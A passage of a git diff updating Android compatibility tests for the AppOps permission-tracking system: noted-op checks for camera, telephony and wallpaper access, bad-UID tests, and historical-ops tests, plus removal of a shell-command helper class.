+            .insert(ContactsContract.RawContacts.CONTENT_URI, ContentValues())
+
+        assertThat(noted.map { it.first.op }).containsExactly(OPSTR_WRITE_CONTACTS)
+        assertThat(noted[0].first.featureId).isEqualTo("test")
+        assertThat(noted[0].second.map { it.methodName }).contains("writeToContactsProvider")
+    }
+
+    /**
+     * Realistic end-to-end test for getting cell info
+     */
+    @Test
+    fun getCellInfo() {
+        assumeTrue(context.packageManager.hasSystemFeature(FEATURE_TELEPHONY))
+
+        val telephonyManager = context.createFeatureContext(TEST_FEATURE_ID)
+            .getSystemService(TelephonyManager::class.java)
+
+        telephonyManager.allCellInfo
+
+        assertThat(noted[0].first.op).isEqualTo(OPSTR_FINE_LOCATION)
+        assertThat(noted[0].first.featureId).isEqualTo(TEST_FEATURE_ID)
+        assertThat(noted[0].second.map { it.methodName }).contains("getCellInfo")
+    }
+
+    private fun openCamera(context: Context) {
+        val cameraManager = context.getSystemService(CameraManager::class.java)
+
+        val openedCamera = CompletableFuture<CameraDevice>()
+
+        assumeTrue(cameraManager.cameraIdList.isNotEmpty())
+
+        cameraManager.openCamera(cameraManager.cameraIdList[0], { it.run() },
+            object : CameraDevice.StateCallback() {
+                override fun onOpened(camera: CameraDevice) {
+                    openedCamera.complete(camera)
+                }
+
+                override fun onDisconnected(camera: CameraDevice) {}
+                override fun onError(camera: CameraDevice, error: Int) {}
+            })
+
+        openedCamera.get(TIMEOUT_MILLIS, MILLISECONDS).close()
+
+        eventually {
+            assertThat(asyncNoted[0].op).isEqualTo(OPSTR_CAMERA)
+            assertThat(asyncNoted[0].featureId).isEqualTo(context.featureId)
+            assertThat(asyncNoted[0].message).contains(cameraManager.cameraIdList[0])
+        }
+    }
+
+    /**
+     * Realistic end-to-end test for opening camera
+     */
+    @Test
+    fun openCameraWithFeature() {
+        openCamera(context.createFeatureContext(TEST_FEATURE_ID))
+    }
+
+    /**
+     * Realistic end-to-end test for opening camera. This uses the default (==null) feature. This
+     * is interesting as null feature handling is more complex in native code.
+     */
+    @Test
+    fun openCameraWithDefaultFeature() {
+        openCamera(context.createFeatureContext(null))
+    }
+
+    /**
+     * Realistic end-to-end test for getting cell info
+     */
+    @Test
+    fun getMultiSimSupport() {
+        assumeTrue(context.packageManager.hasSystemFeature(FEATURE_TELEPHONY))
+
+        val telephonyManager = context.createFeatureContext(TEST_FEATURE_ID)
+            .getSystemService(TelephonyManager::class.java)
+
+        telephonyManager.isMultiSimSupported
+
+        assertThat(noted[0].first.op).isEqualTo(OPSTR_READ_PHONE_STATE)
+        assertThat(noted[0].first.featureId).isEqualTo(TEST_FEATURE_ID)
+        assertThat(noted[0].second.map { it.methodName }).contains("getMultiSimSupport")
+    }
+
+    /**
+     * Realistic end-to-end test for getting wallpaper
+     */
+    @Test
+    fun getWallpaper() {
+        val wallpaperManager = context.createFeatureContext(TEST_FEATURE_ID)
+                .getSystemService(WallpaperManager::class.java)
+
+        wallpaperManager.getWallpaperFile(FLAG_SYSTEM)
+
+        assertThat(noted[0].first.op).isEqualTo(OPSTR_READ_EXTERNAL_STORAGE)
+        assertThat(noted[0].first.featureId).isEqualTo(TEST_FEATURE_ID)
+        assertThat(noted[0].second.map { it.methodName }).contains("getWallpaper")
+    }
+
+    @After
+    fun removeNotedAppOpsCollector() {
+        appOpsManager.setNotedAppOpsCollector(null)
+    }
+
+    @After
+    fun disconnectFromService() {
+        context.unbindService(serviceConnection)
+    }
+
+    /**
+     * Calls various noteOp-like methods in binder calls called by
+     * {@link android.app.appops.cts.appthatusesappops.AppOpsUserService}
+     */
+    private class AppOpsUserClient(
+        context: Context,
+        val testService: IAppOpsUserService? = null
+    ) : IAppOpsUserClient.Stub() {
+        private val handler = Handler(Looper.getMainLooper())
+        private val appOpsManager = context.getSystemService(AppOpsManager::class.java)
+
+        private val myUid = android.os.Process.myUid()
+        private val myPackage = context.packageName
+
+        override fun noteSyncOp() {
+            runWithShellPermissionIdentity {
+                appOpsManager.noteOpNoThrow(OPSTR_COARSE_LOCATION, getCallingUid(),
+                        TEST_SERVICE_PKG, null, null)
+            }
+        }
+
+        override fun noteSyncOpWithFeature(featureId: String) {
+            runWithShellPermissionIdentity {
+                appOpsManager.noteOpNoThrow(OPSTR_COARSE_LOCATION, getCallingUid(),
+                    TEST_SERVICE_PKG, featureId, null)
+            }
+        }
+
+        override fun callBackIntoService() {
+            runWithShellPermissionIdentity {
+                appOpsManager.noteOpNoThrow(OPSTR_FINE_LOCATION, getCallingUid(),
+                    TEST_SERVICE_PKG, null, null)
+            }
+
+            testService?.callApiThatNotesSyncOpAndClearLog(this)
+        }
+
+        override fun noteNonPermissionSyncOp() {
+            runWithShellPermissionIdentity {
+                appOpsManager.noteOpNoThrow(OPSTR_ACCESS_ACCESSIBILITY, getCallingUid(),
+                        TEST_SERVICE_PKG, null, null)
+            }
+        }
+
+        override fun noteSyncOpTwice() {
+            noteSyncOp()
+            noteSyncOp()
+        }
+
+        override fun noteTwoSyncOp() {
+            runWithShellPermissionIdentity {
+                appOpsManager.noteOpNoThrow(OPSTR_COARSE_LOCATION, getCallingUid(),
+                        TEST_SERVICE_PKG, null, null)
+
+                appOpsManager.noteOpNoThrow(OPSTR_GET_ACCOUNTS, getCallingUid(), TEST_SERVICE_PKG,
+                    null, null)
+            }
+        }
+
+        override fun noteSyncOpNative() {
+            runWithShellPermissionIdentity {
+                nativeNoteOp(strOpToOp(OPSTR_COARSE_LOCATION), getCallingUid(), TEST_SERVICE_PKG)
+            }
+        }
+
+        override fun noteNonPermissionSyncOpNative() {
+            runWithShellPermissionIdentity {
+                nativeNoteOp(strOpToOp(OPSTR_ACCESS_ACCESSIBILITY), getCallingUid(),
+                        TEST_SERVICE_PKG)
+            }
+        }
+
+        override fun noteSyncOpOneway() {
+            runWithShellPermissionIdentity {
+                appOpsManager.noteOpNoThrow(OPSTR_COARSE_LOCATION, getCallingUid(),
+                        TEST_SERVICE_PKG, null, null)
+            }
+        }
+
+        override fun noteSyncOpOnewayNative() {
+            runWithShellPermissionIdentity {
+                nativeNoteOp(strOpToOp(OPSTR_COARSE_LOCATION), getCallingUid(), TEST_SERVICE_PKG)
+            }
+        }
+
+        override fun noteSyncOpOtherUid() {
+            appOpsManager.noteOpNoThrow(OPSTR_COARSE_LOCATION, myUid, myPackage, null, null)
+        }
+
+        override fun noteSyncOpOtherUidNative() {
+            nativeNoteOp(strOpToOp(OPSTR_COARSE_LOCATION), myUid, myPackage)
+        }
+
+        override fun noteAsyncOp() {
+            val callingUid = getCallingUid()
+
+            handler.post {
+                runWithShellPermissionIdentity {
+                    appOpsManager.noteOpNoThrow(OPSTR_COARSE_LOCATION, callingUid, TEST_SERVICE_PKG,
+                        null, null)
+                }
+            }
+        }
+
+        override fun noteAsyncOpWithFeature(featureId: String) {
+            val callingUid = getCallingUid()
+
+            handler.post {
+                runWithShellPermissionIdentity {
+                    appOpsManager.noteOpNoThrow(OPSTR_COARSE_LOCATION, callingUid, TEST_SERVICE_PKG,
+                        featureId, null)
+                }
+            }
+        }
+
+        override fun noteAsyncOpWithCustomMessage() {
+            val callingUid = getCallingUid()
+
+            handler.post {
+                runWithShellPermissionIdentity {
+                    appOpsManager.noteOpNoThrow(OPSTR_COARSE_LOCATION, callingUid, TEST_SERVICE_PKG,
+                            null, "custom msg")
+                }
+            }
+        }
+
+        override fun noteAsyncOpNative() {
+            val callingUid = getCallingUid()
+
+            handler.post {
+                runWithShellPermissionIdentity {
+                    nativeNoteOp(strOpToOp(OPSTR_COARSE_LOCATION), callingUid, TEST_SERVICE_PKG)
+                }
+            }
+        }
+
+        override fun noteAsyncOpNativeWithCustomMessage() {
+            val callingUid = getCallingUid()
+
+            handler.post {
+                runWithShellPermissionIdentity {
+                    nativeNoteOp(strOpToOp(OPSTR_COARSE_LOCATION), callingUid, TEST_SERVICE_PKG,
+                        message = "native custom msg")
+                }
+            }
+        }
+    }
+}
diff --git a/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt b/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt
index c358913..a9c7aa8 100644
--- a/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt
+++ b/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt
@@ -31,12 +31,7 @@
 import android.app.AppOpsManager.OPSTR_RECORD_AUDIO
 import android.app.AppOpsManager.OPSTR_WRITE_CALENDAR
 
-import android.app.appops.cts.AppOpsUtils.Companion.allowedOperationLogged
-import android.app.appops.cts.AppOpsUtils.Companion.rejectedOperationLogged
-import android.app.appops.cts.AppOpsUtils.Companion.setOpMode
-
 import org.mockito.Mockito.mock
-import org.mockito.Mockito.reset
 import org.mockito.Mockito.timeout
 import org.mockito.Mockito.verify
 import org.mockito.Mockito.verifyZeroInteractions
@@ -50,21 +45,25 @@
 import androidx.test.InstrumentationRegistry
 
 import org.junit.Before
-import org.junit.Ignore
 import org.junit.Test
 import org.junit.runner.RunWith
+import org.mockito.Mockito
 
 import java.util.HashMap
 import java.util.HashSet
+import java.util.concurrent.CompletableFuture
+import java.util.concurrent.Executor
+import java.util.concurrent.TimeUnit
 
 @RunWith(AndroidJUnit4::class)
 class AppOpsTest {
     // Notifying OnOpChangedListener callbacks is an async operation, so we define a timeout.
-    private val MODE_WATCHER_TIMEOUT_MS = 5000L
+    private val TIMEOUT_MS = 5000L
 
     private lateinit var mAppOps: AppOpsManager
     private lateinit var mContext: Context
     private lateinit var mOpPackageName: String
+    private val mMyUid = Process.myUid()
 
     companion object {
         // These permissions and opStrs must map to the same op codes.
@@ -137,7 +136,7 @@
         mOpPackageName = mContext.opPackageName
         assertNotNull(mAppOps)
         // Reset app ops state for this test package to the system default.
-        AppOpsUtils.reset(mOpPackageName)
+        reset(mOpPackageName)
     }
 
     @Test
@@ -223,6 +222,56 @@
     }
 
     @Test
+    fun overlappingActiveFeatureOps() {
+        runWithShellPermissionIdentity {
+            val gotActive = CompletableFuture<Unit>()
+            val gotInActive = CompletableFuture<Unit>()
+
+            val activeWatcher =
+                AppOpsManager.OnOpActiveChangedListener { _, _, packageName, active ->
+                    if (packageName == mOpPackageName) {
+                        if (active) {
+                            assertFalse(gotActive.isDone)
+                            gotActive.complete(Unit)
+                        } else {
+                            assertFalse(gotInActive.isDone)
+                            gotInActive.complete(Unit)
+                        }
+                    }
+                }
+
+            mAppOps.startWatchingActive(arrayOf(OPSTR_WRITE_CALENDAR), Executor { it.run() },
+                activeWatcher)
+            try {
+                mAppOps.startOp(OPSTR_WRITE_CALENDAR, mMyUid, mOpPackageName, "feature1", null)
+                assertTrue(mAppOps.isOpActive(OPSTR_WRITE_CALENDAR, mMyUid, mOpPackageName))
+                gotActive.get(TIMEOUT_MS, TimeUnit.MILLISECONDS)
+
+                mAppOps.startOp(OPSTR_WRITE_CALENDAR, Process.myUid(), mOpPackageName,
+                    "feature2", null)
+                assertTrue(mAppOps.isOpActive(OPSTR_WRITE_CALENDAR, mMyUid, mOpPackageName))
+                assertFalse(gotInActive.isDone)
+
+                mAppOps.finishOp(OPSTR_WRITE_CALENDAR, Process.myUid(), mOpPackageName,
+                    "feature1")
+
+                // Allow some time for premature "watchingActive" callbacks to arrive
+                Thread.sleep(500)
+
+                assertTrue(mAppOps.isOpActive(OPSTR_WRITE_CALENDAR, mMyUid, mOpPackageName))
+                assertFalse(gotInActive.isDone)
+
+                mAppOps.finishOp(OPSTR_WRITE_CALENDAR, Process.myUid(), mOpPackageName,
+                    "feature2")
+                assertFalse(mAppOps.isOpActive(OPSTR_WRITE_CALENDAR, mMyUid, mOpPackageName))
+                gotInActive.get(TIMEOUT_MS, TimeUnit.MILLISECONDS)
+            } finally {
+                mAppOps.stopWatchingActive(activeWatcher)
+            }
+        }
+    }
+
+    @Test
     fun testCheckPackagePassesCheck() {
         mAppOps.checkPackage(Process.myUid(), mOpPackageName)
         mAppOps.checkPackage(Process.SYSTEM_UID, "android")
@@ -261,19 +310,19 @@
             mAppOps.startWatchingMode(OPSTR_WRITE_CALENDAR, mOpPackageName, watcher)
 
             // Make a change to the app op's mode.
-            reset(watcher)
+            Mockito.reset(watcher)
             setOpMode(mOpPackageName, OPSTR_WRITE_CALENDAR, MODE_ERRORED)
-            verify(watcher, timeout(MODE_WATCHER_TIMEOUT_MS))
+            verify(watcher, timeout(TIMEOUT_MS))
                     .onOpChanged(OPSTR_WRITE_CALENDAR, mOpPackageName)
 
             // Make another change to the app op's mode.
-            reset(watcher)
+            Mockito.reset(watcher)
             setOpMode(mOpPackageName, OPSTR_WRITE_CALENDAR, MODE_ALLOWED)
-            verify(watcher, timeout(MODE_WATCHER_TIMEOUT_MS))
+            verify(watcher, timeout(TIMEOUT_MS))
                     .onOpChanged(OPSTR_WRITE_CALENDAR, mOpPackageName)
 
             // Set mode to the same value as before - expect no call to the listener.
-            reset(watcher)
+            Mockito.reset(watcher)
             setOpMode(mOpPackageName, OPSTR_WRITE_CALENDAR, MODE_ALLOWED)
             verifyZeroInteractions(watcher)
 
@@ -281,7 +330,7 @@
 
             // Make a change to the app op's mode. Since we already stopped watching the mode, the
             // listener shouldn't be called.
-            reset(watcher)
+            Mockito.reset(watcher)
             setOpMode(mOpPackageName, OPSTR_WRITE_CALENDAR, MODE_ERRORED)
             verifyZeroInteractions(watcher)
         } finally {
@@ -404,6 +453,43 @@
         }
     }
 
+    @Test
+    fun noteOpForBadUid() {
+        runWithShellPermissionIdentity {
+            val mode = mAppOps.noteOpNoThrow(OPSTR_RECORD_AUDIO, Process.myUid() + 1,
+                    mOpPackageName)
+            assertEquals(mode, MODE_ERRORED)
+        }
+    }
+
+    @Test
+    fun startOpForBadUid() {
+        runWithShellPermissionIdentity {
+            val mode = mAppOps.startOpNoThrow(OPSTR_RECORD_AUDIO, Process.myUid() + 1,
+                    mOpPackageName)
+            assertEquals(mode, MODE_ERRORED)
+        }
+    }
+
+    @Test
+    fun checkOpForBadUid() {
+        val defaultMode = AppOpsManager.opToDefaultMode(OPSTR_RECORD_AUDIO)
+
+        runWithShellPermissionIdentity {
+            mAppOps.setUidMode(OPSTR_RECORD_AUDIO, Process.myUid(), MODE_ERRORED)
+            try {
+                val mode = mAppOps.unsafeCheckOpNoThrow(OPSTR_RECORD_AUDIO, Process.myUid() + 1,
+                        mOpPackageName)
+
+                // For invalid uids checkOp return the default mode
+                assertEquals(mode, defaultMode)
+            } finally {
+                // Clear the uid state
+                mAppOps.setUidMode(OPSTR_RECORD_AUDIO, Process.myUid(), defaultMode)
+            }
+        }
+    }
+
     private fun runWithShellPermissionIdentity(command: () -> Unit) {
         val uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation()
         uiAutomation.adoptShellPermissionIdentity()
diff --git a/tests/tests/appop/src/android/app/appops/cts/AppOpsUtils.kt b/tests/tests/appop/src/android/app/appops/cts/AppOpsUtils.kt
deleted file mode 100644
index abdee1e..0000000
--- a/tests/tests/appop/src/android/app/appops/cts/AppOpsUtils.kt
+++ /dev/null
@@ -1,130 +0,0 @@
-/*
- * Copyright (C) 2018 Google Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.app.appops.cts
-
-import androidx.test.InstrumentationRegistry
-import com.android.compatibility.common.util.SystemUtil
-
-import android.app.AppOpsManager.MODE_ALLOWED
-import android.app.AppOpsManager.MODE_DEFAULT
-import android.app.AppOpsManager.MODE_ERRORED
-import android.app.AppOpsManager.MODE_IGNORED
-import com.android.compatibility.common.util.ThrowingRunnable
-
-/**
- * Utilities for controlling App Ops settings, and testing whether ops are logged.
- */
-class AppOpsUtils {
-    companion object {
-        /**
-         * Resets a package's app ops configuration to the device default. See AppOpsManager for the
-         * default op settings.
-         *
-         * <p>
-         * It's recommended to call this in setUp() and tearDown() of your test so the test starts and
-         * ends with a reproducible default state, and so doesn't affect other tests.
-         *
-         * <p>
-         * Some app ops are configured to be non-resettable, which means that the state of these will
-         * not be reset even when calling this method.
-         */
-        fun reset(packageName: String): String {
-            return runCommand("appops reset $packageName")
-        }
-
-        /**
-         * Sets the app op mode (e.g. allowed, denied) for a single package and operation.
-         */
-        fun setOpMode(packageName: String, opStr: String, mode: Int) : String {
-            val modeStr: String
-            when (mode) {
-                MODE_ALLOWED -> modeStr = "allow"
-                MODE_ERRORED -> modeStr = "deny"
-                MODE_IGNORED -> modeStr = "ignore"
-                MODE_DEFAULT -> modeStr = "default"
-                else -> throw IllegalArgumentException("Unexpected app op type")
-            }
-            val command = "appops set $packageName $opStr $modeStr"
-            return runCommand(command)
-        }
-
-        /**
-         * Get the app op mode (e.g. MODE_ALLOWED, MODE_DEFAULT) for a single package and operation.
-         */
-        fun getOpMode(packageName: String, opStr: String) : Int {
-            val opState = getOpState(packageName, opStr)
-            when {
-                opState.contains(" allow") -> return MODE_ALLOWED
-                opState.contains(" deny") -> return MODE_ERRORED
-                opState.contains(" ignore") -> return MODE_IGNORED
-                opState.contains(" default") -> return MODE_DEFAULT
-                else -> throw IllegalStateException ("Unexpected app op mode returned $opState")
-            }
-        }
-
-        /**
-         * Returns whether an allowed operation has been logged by the AppOpsManager for a
-         * package. Operations are noted when the app attempts to perform them and calls e.g.
-         * {@link AppOpsManager#noteOperation}.
-         *
-         * @param opStr The public string constant of the operation (e.g. OPSTR_READ_SMS).
-         */
-        fun allowedOperationLogged(packageName: String, opStr: String): Boolean {
-            return getOpState(packageName, opStr).contains(" time=")
-        }
-
-        /**
-         * Returns whether a rejected operation has been logged by the AppOpsManager for a
-         * package. Operations are noted when the app attempts to perform them and calls e.g.
-         * {@link AppOpsManager#noteOperation}.
-         *
-         * @param opStr The public string constant of the operation (e.g. OPSTR_READ_SMS).
-         */
-        fun rejectedOperationLogged(packageName: String, opStr: String) : Boolean {
-            return getOpState(packageName, opStr).contains(" rejectTime=")
-        }
-
-        /**
-         * Runs a [ThrowingRunnable] adopting Shell's permissions.
-         */
-        fun runWithShellPermissionIdentity(runnable: ThrowingRunnable) {
-            val uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation()
-            uiAutomation.adoptShellPermissionIdentity()
-            try {
-                runnable.run()
-            } catch (e: Exception) {
-                throw RuntimeException("Caught exception", e)
-            } finally {
-                uiAutomation.dropShellPermissionIdentity()
-            }
-        }
-
-        /**
-         * Returns the app op state for a package. Includes information on when the operation
-         * was last attempted to be performed by the package.
-         *
-         * Format: "SEND_SMS: allow; time=+23h12m54s980ms ago; rejectTime=+1h10m23s180ms"
-         */
-        private fun getOpState(packageName: String, opStr: String) : String {
-            return runCommand("appops get $packageName $opStr")
-        }
-
-        private fun runCommand(command: String ) : String {
-            return SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(), command)
-        }
-    }
-}
diff --git a/tests/tests/appop/src/android/app/appops/cts/HistoricalAppopsTest.kt b/tests/tests/appop/src/android/app/appops/cts/HistoricalAppopsTest.kt
index 73a4516..62bc995 100644
--- a/tests/tests/appop/src/android/app/appops/cts/HistoricalAppopsTest.kt
+++ b/tests/tests/appop/src/android/app/appops/cts/HistoricalAppopsTest.kt
@@ -19,31 +19,32 @@
 import android.app.AppOpsManager
 import android.app.AppOpsManager.HistoricalOp
 import android.app.AppOpsManager.HistoricalOps
-import android.app.Instrumentation
-import android.content.Context
 import android.os.Process
 import android.os.SystemClock
+import android.provider.DeviceConfig
 import androidx.test.InstrumentationRegistry
-import androidx.test.rule.ActivityTestRule
-import androidx.test.uiautomator.UiDevice
 import androidx.test.runner.AndroidJUnit4
 import com.google.common.truth.Truth.assertThat
 import org.junit.After
 import org.junit.Before
-import org.junit.Ignore
-import org.junit.Rule
 import org.junit.Test
 import org.junit.runner.RunWith
-import java.util.ArrayList
 import java.util.concurrent.TimeUnit
 import java.util.concurrent.locks.ReentrantLock
 import java.util.function.Consumer
+import androidx.test.rule.ActivityTestRule
+import androidx.test.uiautomator.UiDevice
+import org.junit.Rule
+
+const val PROPERTY_PERMISSIONS_HUB_ENABLED = "permissions_hub_enabled"
 
 @RunWith(AndroidJUnit4::class)
 class HistoricalAppopsTest {
     private val uid = Process.myUid()
-    private var appOpsManager: AppOpsManager? = null
-    private var packageName: String? = null
+    private lateinit var appOpsManager: AppOpsManager
+    private lateinit var packageName: String
+
+    private var wasPermissionsHubEnabled = false
 
     // Start an activity to make sure this app counts as being in the foreground
     @Rule @JvmField
@@ -51,58 +52,57 @@
 
     @Before
     fun wakeScreenUp() {
-        val device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation())
-        device.wakeUp()
-        device.executeShellCommand("wm dismiss-keyguard")
+        val uiDevice = UiDevice.getInstance(instrumentation)
+        uiDevice.wakeUp()
+        uiDevice.executeShellCommand("wm dismiss-keyguard")
     }
 
     @Before
     fun setUpTest() {
-        appOpsManager = getContext().getSystemService(AppOpsManager::class.java)
-        packageName = getContext().packageName
-        val uiAutomation = getInstrumentation().getUiAutomation()
+        appOpsManager = context.getSystemService(AppOpsManager::class.java)!!
+        packageName = context.packageName!!
         uiAutomation.adoptShellPermissionIdentity()
-        appOpsManager!!.clearHistory()
-        appOpsManager!!.resetHistoryParameters()
+        wasPermissionsHubEnabled = DeviceConfig.getBoolean(DeviceConfig.NAMESPACE_PRIVACY,
+                PROPERTY_PERMISSIONS_HUB_ENABLED, false)
+        DeviceConfig.setProperty(DeviceConfig.NAMESPACE_PRIVACY, PROPERTY_PERMISSIONS_HUB_ENABLED,
+                true.toString(), false)
+        appOpsManager.clearHistory()
+        appOpsManager.resetHistoryParameters()
     }
 
     @After
     fun tearDownTest() {
-        appOpsManager!!.clearHistory()
-        appOpsManager!!.resetHistoryParameters()
-        val uiAutomation = getInstrumentation().getUiAutomation()
+        appOpsManager.clearHistory()
+        appOpsManager.resetHistoryParameters()
+        DeviceConfig.setProperty(DeviceConfig.NAMESPACE_PRIVACY, PROPERTY_PERMISSIONS_HUB_ENABLED,
+                wasPermissionsHubEnabled.toString(), false)
         uiAutomation.dropShellPermissionIdentity()
     }
 
-    @Ignore("Feature is disabled in Android Q")
     @Test
     fun testGetHistoricalPackageOpsForegroundAccessInMemoryBucket() {
         testGetHistoricalPackageOpsForegroundAtDepth(0)
     }
 
-    @Ignore("Feature is disabled in Android Q")
     @Test
     fun testGetHistoricalPackageOpsForegroundAccessFirstOnDiskBucket() {
         testGetHistoricalPackageOpsForegroundAtDepth(1)
     }
 
-    @Ignore("Feature is disabled in Android Q")
     @Test
     fun testHistoricalAggregationOneLevelsDeep() {
         testHistoricalAggregationSomeLevelsDeep(0)
     }
 
-    @Ignore("Feature is disabled in Android Q")
     @Test
     fun testHistoricalAggregationTwoLevelsDeep() {
         testHistoricalAggregationSomeLevelsDeep(1)
     }
 
-    @Ignore("Feature is disabled in Android Q")
     @Test
     fun testHistoricalAggregationOverflow() {
         // Configure historical registry behavior.
-        appOpsManager!!.setHistoryParameters(
+        appOpsManager.setHistoryParameters(
                 AppOpsManager.HISTORICAL_MODE_ENABLED_PASSIVE,
                 SNAPSHOT_INTERVAL_MILLIS,
                 INTERVAL_COMPRESSION_MULTIPLIER)
@@ -111,36 +111,35 @@
         val chunk = createDataChunk()
         val chunkCount = (INTERVAL_COMPRESSION_MULTIPLIER * 2) + 3
         for (i in 0 until chunkCount) {
-            appOpsManager!!.addHistoricalOps(chunk)
+            appOpsManager.addHistoricalOps(chunk)
         }
 
         // Validate the data for the first interval
         val firstIntervalBeginMillis = computeIntervalBeginRawMillis(0)
         val firstIntervalEndMillis = computeIntervalBeginRawMillis(1)
-        val firstOps = getHistoricalOpsFromDiskRaw(appOpsManager!!, uid, packageName!!,
-                null /*opNames*/, firstIntervalBeginMillis, firstIntervalEndMillis)
+        val firstOps = getHistoricalOpsFromDiskRaw(uid, packageName, null /*opNames*/,
+                firstIntervalBeginMillis, firstIntervalEndMillis)
         assertHasCounts(firstOps!!, 197)
 
         // Validate the data for the second interval
         val secondIntervalBeginMillis = computeIntervalBeginRawMillis(1)
         val secondIntervalEndMillis = computeIntervalBeginRawMillis(2)
-        val secondOps = getHistoricalOpsFromDiskRaw(appOpsManager!!, uid, packageName!!,
-                null /*opNames*/, secondIntervalBeginMillis, secondIntervalEndMillis)
+        val secondOps = getHistoricalOpsFromDiskRaw(uid, packageName, null /*opNames*/,
+                secondIntervalBeginMillis, secondIntervalEndMillis)
         assertHasCounts(secondOps!!, 33)
 
         // Validate the data for both intervals
         val thirdIntervalBeginMillis = firstIntervalEndMillis - SNAPSHOT_INTERVAL_MILLIS
         val thirdIntervalEndMillis = secondIntervalBeginMillis + SNAPSHOT_INTERVAL_MILLIS
-        val thirdOps = getHistoricalOpsFromDiskRaw(appOpsManager!!, uid, packageName!!,
-                null /*opNames*/, thirdIntervalBeginMillis, thirdIntervalEndMillis)
+        val thirdOps = getHistoricalOpsFromDiskRaw(uid, packageName, null /*opNames*/,
+                thirdIntervalBeginMillis, thirdIntervalEndMillis)
         assertHasCounts(thirdOps!!, 33)
     }
 
-    @Ignore("Feature is disabled in Android Q")
     @Test
     fun testHistoryTimeTravel() {
         // Configure historical registry behavior.
-        appOpsManager!!.setHistoryParameters(
+        appOpsManager.setHistoryParameters(
                 AppOpsManager.HISTORICAL_MODE_ENABLED_PASSIVE,
                 SNAPSHOT_INTERVAL_MILLIS,
                 INTERVAL_COMPRESSION_MULTIPLIER)
@@ -149,18 +148,18 @@
         val chunk = createDataChunk()
         val chunkCount = computeSlotCount(2) * SNAPSHOT_INTERVAL_MILLIS / chunk.endTimeMillis
         for (i in 0 until chunkCount) {
-            appOpsManager!!.addHistoricalOps(chunk)
+            appOpsManager.addHistoricalOps(chunk)
         }
 
         // Move history in past with the first interval duration
         val firstIntervalDurationMillis = computeIntervalDurationMillis(0)
-        appOpsManager!!.offsetHistory(firstIntervalDurationMillis)
+        appOpsManager.offsetHistory(firstIntervalDurationMillis)
 
         // Validate the data for the first interval
         val firstIntervalBeginMillis = computeIntervalBeginRawMillis(0)
         val firstIntervalEndMillis = firstIntervalBeginMillis + firstIntervalDurationMillis
-        val firstOps = getHistoricalOpsFromDiskRaw(appOpsManager!!, uid, packageName!!,
-                null /*opNames*/, firstIntervalBeginMillis, firstIntervalEndMillis)
+        val firstOps = getHistoricalOpsFromDiskRaw(uid, packageName, null /*opNames*/,
+                firstIntervalBeginMillis, firstIntervalEndMillis)
         assertThat(firstOps).isNotNull()
         assertThat(firstOps!!.uidCount).isEqualTo(0)
 
@@ -168,8 +167,8 @@
         val secondIntervalBeginMillis = computeIntervalBeginRawMillis(1)
         val secondIntervalDurationMillis = computeIntervalDurationMillis(1)
         val secondIntervalEndMillis = secondIntervalBeginMillis + secondIntervalDurationMillis
-        val secondOps = getHistoricalOpsFromDiskRaw(appOpsManager!!, uid, packageName!!,
-                null /*opNames*/, secondIntervalBeginMillis, secondIntervalEndMillis)
+        val secondOps = getHistoricalOpsFromDiskRaw(uid, packageName, null /*opNames*/,
+                secondIntervalBeginMillis, secondIntervalEndMillis)
         val secondChunkCount = ((computeSlotCount(2) - computeSlotCount(1))
             .times(SNAPSHOT_INTERVAL_MILLIS) / chunk.endTimeMillis)
         assertHasCounts(secondOps!!, 10 * secondChunkCount)
@@ -178,22 +177,22 @@
         val thirdIntervalBeginMillis = computeIntervalBeginRawMillis(2)
         val thirdIntervalDurationMillis = computeIntervalDurationMillis(2)
         val thirdIntervalEndMillis = thirdIntervalBeginMillis + thirdIntervalDurationMillis
-        val thirdOps = getHistoricalOpsFromDiskRaw(appOpsManager!!, uid, packageName!!,
-                null /*opNames*/, thirdIntervalBeginMillis, thirdIntervalEndMillis)
+        val thirdOps = getHistoricalOpsFromDiskRaw(uid, packageName, null /*opNames*/,
+                thirdIntervalBeginMillis, thirdIntervalEndMillis)
         val thirdChunkCount = secondChunkCount / INTERVAL_COMPRESSION_MULTIPLIER
         assertHasCounts(thirdOps!!, 10 * thirdChunkCount)
 
         // Move history in future with the first interval duration
-        appOpsManager!!.offsetHistory(- (2.5f * firstIntervalDurationMillis).toLong())
+        appOpsManager.offsetHistory(- (2.5f * firstIntervalDurationMillis).toLong())
 
         // Validate the data for the first interval
-        val fourthOps = getHistoricalOpsFromDiskRaw(appOpsManager!!, uid, packageName!!,
-                null /*opNames*/, firstIntervalBeginMillis, firstIntervalEndMillis)
+        val fourthOps = getHistoricalOpsFromDiskRaw(uid, packageName, null /*opNames*/,
+                firstIntervalBeginMillis, firstIntervalEndMillis)
         assertHasCounts(fourthOps!!, 194)
 
         // Validate the data for the second interval
-        val fifthOps = getHistoricalOpsFromDiskRaw(appOpsManager!!, uid, packageName!!,
-                null /*opNames*/, secondIntervalBeginMillis, secondIntervalEndMillis)
+        val fifthOps = getHistoricalOpsFromDiskRaw(uid, packageName, null /*opNames*/,
+                secondIntervalBeginMillis, secondIntervalEndMillis)
 
         assertThat(fifthOps).isNotNull()
         assertHasCounts(fifthOps!!, 1703)
@@ -201,7 +200,7 @@
 
     private fun testHistoricalAggregationSomeLevelsDeep(depth: Int) {
         // Configure historical registry behavior.
-        appOpsManager!!.setHistoryParameters(
+        appOpsManager.setHistoryParameters(
                 AppOpsManager.HISTORICAL_MODE_ENABLED_PASSIVE,
                 SNAPSHOT_INTERVAL_MILLIS,
                 INTERVAL_COMPRESSION_MULTIPLIER)
@@ -211,14 +210,14 @@
         val chunkCount = (computeSlotCount(depth + 1)
             .times(SNAPSHOT_INTERVAL_MILLIS) / chunk.endTimeMillis)
         for (i in 0 until chunkCount) {
